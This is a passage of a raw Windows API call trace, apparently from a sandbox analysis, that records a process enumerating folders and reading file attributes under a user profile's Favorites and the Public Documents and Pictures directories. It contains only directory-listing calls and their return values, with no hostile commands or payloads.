[0076.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0076.372] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\MSN Websites" (normalized: "c:\\users\\kft6utqw\\favorites\\msn websites"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa800b3d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0076.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.372] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x28 [0076.372] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\MSN Websites\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9518 [0076.373] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.373] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.373] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.373] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.373] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.373] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.373] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.374] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0076.374] FindClose (in: hFindFile=0x6fe9518 | out: hFindFile=0x6fe9518) returned 1 [0076.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0076.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0076.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.374] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x28 [0076.374] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\MSN Websites\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9518 [0076.375] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.375] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.375] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.375] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.375] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.375] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.375] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.375] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0076.375] FindClose (in: hFindFile=0x6fe9518 | out: hFindFile=0x6fe9518) returned 1 [0076.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0076.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0076.376] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x28 [0076.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0076.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Windows Live" (normalized: "c:\\users\\kft6utqw\\favorites\\windows live"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8031530, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0076.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.376] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x28 [0076.376] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Windows Live\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9518 [0076.377] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.377] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.377] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.377] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.377] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.377] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0076.377] FindClose (in: hFindFile=0x6fe9518 | out: hFindFile=0x6fe9518) returned 1 [0076.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0076.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0076.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.378] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x28 [0076.378] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Windows Live\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9518 [0076.378] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.379] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.379] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.379] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.379] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.379] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0076.379] FindClose (in: hFindFile=0x6fe9518 | out: hFindFile=0x6fe9518) returned 1 [0076.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0076.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0076.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0076.379] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites", lpFilePart=0x0) returned 0x1b [0076.379] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9518 [0076.380] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.380] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.380] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.380] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.380] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.380] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.380] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0076.380] FindClose (in: hFindFile=0x6fe9518 | out: hFindFile=0x6fe9518) returned 1 [0076.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0076.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0076.781] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0076.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecb0) returned 1 [0076.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents"), fInfoLevelId=0x0, lpFileInformation=0x6cfed2c | out: lpFileInformation=0x6cfed2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0076.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfecac) returned 1 [0076.781] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0076.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0076.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0076.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0076.781] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0076.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0076.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0076.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0076.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0076.781] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0076.781] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9858 [0076.782] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.782] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.782] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.782] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.782] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.782] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0076.782] FindClose (in: hFindFile=0x6fe9858 | out: hFindFile=0x6fe9858) returned 1 [0076.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0076.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0076.782] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0076.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0076.783] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music" (normalized: "c:\\users\\public\\documents\\my music"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0076.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.783] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0076.783] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0xffffffff [0076.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec0c) returned 1 [0076.784] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0076.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0076.784] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures" (normalized: "c:\\users\\public\\documents\\my pictures"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0076.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.784] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0076.784] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0xffffffff [0076.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec0c) returned 1 [0076.785] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0076.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0076.785] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos" (normalized: "c:\\users\\public\\documents\\my videos"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0076.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.786] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0076.786] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0xffffffff [0076.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec0c) returned 1 [0076.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0076.787] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0076.787] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9858 [0076.787] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.787] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.787] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.787] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.787] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.787] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0076.787] FindClose (in: hFindFile=0x6fe9858 | out: hFindFile=0x6fe9858) returned 1 [0076.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0076.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0076.793] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0076.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecb0) returned 1 [0076.793] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures" (normalized: "c:\\users\\public\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x6cfed2c | out: lpFileInformation=0x6cfed2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfecac) returned 1 [0076.794] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0076.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0076.794] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures" (normalized: "c:\\users\\public\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0076.794] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0076.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0076.794] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures" (normalized: "c:\\users\\public\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0076.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0076.794] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0076.794] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9858 [0076.794] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.794] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.794] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.794] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0076.794] FindClose (in: hFindFile=0x6fe9858 | out: hFindFile=0x6fe9858) returned 1 [0076.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0076.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0076.795] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0076.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0076.795] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures" (normalized: "c:\\users\\public\\pictures\\sample pictures"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0076.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.795] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0076.795] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9858 [0076.806] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.806] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.806] FindNextFileW (in: 